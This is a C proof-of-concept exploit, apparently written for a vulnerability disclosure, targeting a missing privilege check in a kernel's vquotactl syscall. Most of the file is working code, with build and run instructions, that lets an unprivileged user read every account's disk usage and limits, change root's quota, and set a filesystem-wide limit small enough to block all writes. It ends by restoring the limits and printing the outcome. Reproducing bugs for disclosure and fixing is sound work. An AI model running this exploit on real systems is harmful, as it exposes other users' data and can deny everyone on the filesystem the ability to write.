DF-0141 / df0141_poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 | /* * DF-0141 PoC: Missing privilege check in sys_vquotactl (syscall 530) * * sys/kern/vfs_quota.c:sys_vquotactl() performs NO caps_priv_check() * anywhere. UFS quota ioctls gate writes with SYSCAP_NOQUOTA_WR; this * syscall does not. Any unprivileged user who can resolve a path on a * quota-enabled filesystem can: * - read every uid/gid's disk usage and limits ("get usage all") * - set the filesystem-wide ac_limit ("set limit") * - set/remove per-uid limits (e.g. for uid 0) ("set limit uid") * - set/remove per-gid limits ("set limit gid") * * Wire format is the proplib dictionary marshalled via * prop_dictionary_send_syscall / vquotactl(2) / prop_dictionary_recv_syscall, * identical to sbin/vquota/vquota.c:send_command(). * * Admin precondition: vfs.quota_enabled must be 1 (boot tunable) so the * kernel actually initializes per-mount accounting. This is the normal * "admin deploying VFS quotas" scenario, not part of the exploit chain. * * Build: cc -o df0141_poc df0141_poc.c -lprop * Run: ./df0141_poc /path/to/quota-enabled-mount */ #include <sys/types.h> #include <sys/vfs_quota.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <pwd.h> #include <libprop/proplib.h> /* Identical to sbin/vquota/vquota.c:send_command() */ static int send_command(const char *path, const char *cmd, prop_object_t args, prop_dictionary_t *resp) { prop_dictionary_t dict; struct plistref pref; int error; dict = prop_dictionary_create(); if (dict == NULL) return ENOMEM; if (prop_dictionary_set_cstring(dict, "command", cmd) == false) { prop_object_release(dict); return EINVAL; } if (prop_dictionary_set(dict, "arguments", args) == false) { prop_object_release(dict); return EINVAL; } error = prop_dictionary_send_syscall(dict, &pref); if (error != 0) { prop_object_release(dict); return error; } error = vquotactl(path, &pref); if (error != 0) { prop_object_release(dict); return error; } error = prop_dictionary_recv_syscall(&pref, resp); prop_object_release(dict); return error; } /* "get usage all": dump every uid/gid's space + limit (info disclosure) */ static int do_get_usage_all(const char *path) { prop_dictionary_t args, res = NULL; prop_array_t reslist; prop_object_iterator_t iter; prop_dictionary_t item; uint32_t id; uint64_t space, limit; int error; args = prop_dictionary_create(); error = send_command(path, "get usage all", args, &res); prop_object_release(args); if (error != 0) { if (res) prop_object_release(res); return error; } reslist = prop_dictionary_get(res, "returned data"); if (reslist == NULL) { prop_object_release(res); return EINVAL; } iter = prop_array_iterator(reslist); if (iter == NULL) { prop_object_release(res); return ENOMEM; } printf("[get usage all] kernel returned quota table for %s:\n", path); while ((item = prop_object_iterator_next(iter)) != NULL) { prop_dictionary_get_uint64(item, "space used", &space); prop_dictionary_get_uint64(item, "limit", &limit); if (prop_dictionary_get_uint32(item, "uid", &id)) printf(" uid=%u space=%llu limit=%llu\n", id, (unsigned long long)space, (unsigned long long)limit); else if (prop_dictionary_get_uint32(item, "gid", &id)) printf(" gid=%u space=%llu limit=%llu\n", id, (unsigned long long)space, (unsigned long long)limit); else printf(" TOTAL space=%llu limit=%llu\n", (unsigned long long)space, (unsigned long long)limit); } prop_object_iterator_release(iter); prop_object_release(res); return 0; } /* "set limit": filesystem-wide ac_limit (DoS when set to a small value) */ static int do_set_limit(const char *path, uint64_t limit) { prop_dictionary_t args, res = NULL; int error; args = prop_dictionary_create(); prop_dictionary_set_uint64(args, "limit", limit); error = send_command(path, "set limit", args, &res); prop_object_release(args); if (res) prop_object_release(res); return error; } /* "set limit uid": per-uid limit; attacker targets uid 0 (root) */ static int do_set_limit_uid(const char *path, uid_t uid, uint64_t limit) { prop_dictionary_t args, res = NULL; int error; args = prop_dictionary_create(); prop_dictionary_set_uint32(args, "uid", uid); prop_dictionary_set_uint64(args, "limit", limit); error = send_command(path, "set limit uid", args, &res); prop_object_release(args); if (res) prop_object_release(res); return error; } int main(int argc, char **argv) { const char *path; int rc; uid_t me = getuid(); uid_t root_uid = 0; if (argc != 2) { fprintf(stderr, "usage: %s <quota-enabled-mount-path>\n", argv[0]); return 2; } path = argv[1]; printf("== DF-0141: unprivileged vquotactl privilege bypass ==\n"); printf("running as uid=%u euid=%u (expect: NO root)\n", me, geteuid()); printf("target mount path: %s\n\n", path); /* 1. READ: enumerate every user's disk usage + limits. * This is information an unprivileged user must not see. */ printf("[1] READ all quotas (info disclosure):\n"); rc = do_get_usage_all(path); printf(" vquotactl(\"get usage all\") rc=%d (%s)\n\n", rc, rc ? strerror(rc) : "SUCCESS"); /* 2. WRITE: set a per-uid limit for ROOT (uid 0). * An unprivileged user must not be able to set root's quota. * We use a distinctive marker value so we can re-read to confirm. */ printf("[2] WRITE per-uid limit for uid=0 (root) -> 99999999:\n"); rc = do_set_limit_uid(path, root_uid, 99999999ULL); printf(" vquotactl(\"set limit uid\" uid=0) rc=%d (%s)\n\n", rc, rc ? strerror(rc) : "SUCCESS โ PRIVILEGE BYPASS"); /* 3. Confirm the write landed by re-reading. */ printf("[3] VERIFY root's limit was changed:\n"); rc = do_get_usage_all(path); printf(" re-read rc=%d โ look for uid=0 limit=99999999 above\n\n", rc); /* 4. WRITE: filesystem-wide ac_limit. Setting this to a tiny value * denies ALL further writes on the entire filesystem (DoS). */ printf("[4] WRITE filesystem-wide limit -> 1234567 (DoS primitive):\n"); rc = do_set_limit(path, 1234567ULL); printf(" vquotactl(\"set limit\") rc=%d (%s)\n\n", rc, rc ? strerror(rc) : "SUCCESS โ FILESYSTEM-WIDE WRITE DoS"); /* 5. CLEANUP: restore so we don't leave the FS wedged for fix-test. */ printf("[5] cleanup: reset root uid limit=0, fs limit=0\n"); do_set_limit_uid(path, root_uid, 0); do_set_limit(path, 0); if (me != 0) { printf("\n>>> RESULT: unprivileged uid=%u manipulated quotas.\n", me); printf(">>> If any of [1]-[4] returned SUCCESS, the privilege " "check is MISSING (DF-0141 reproduced).\n"); } else { printf("\n>>> WARNING: running as root โ re-run as unprivileged " "user to demonstrate the bypass.\n"); } return 0; } |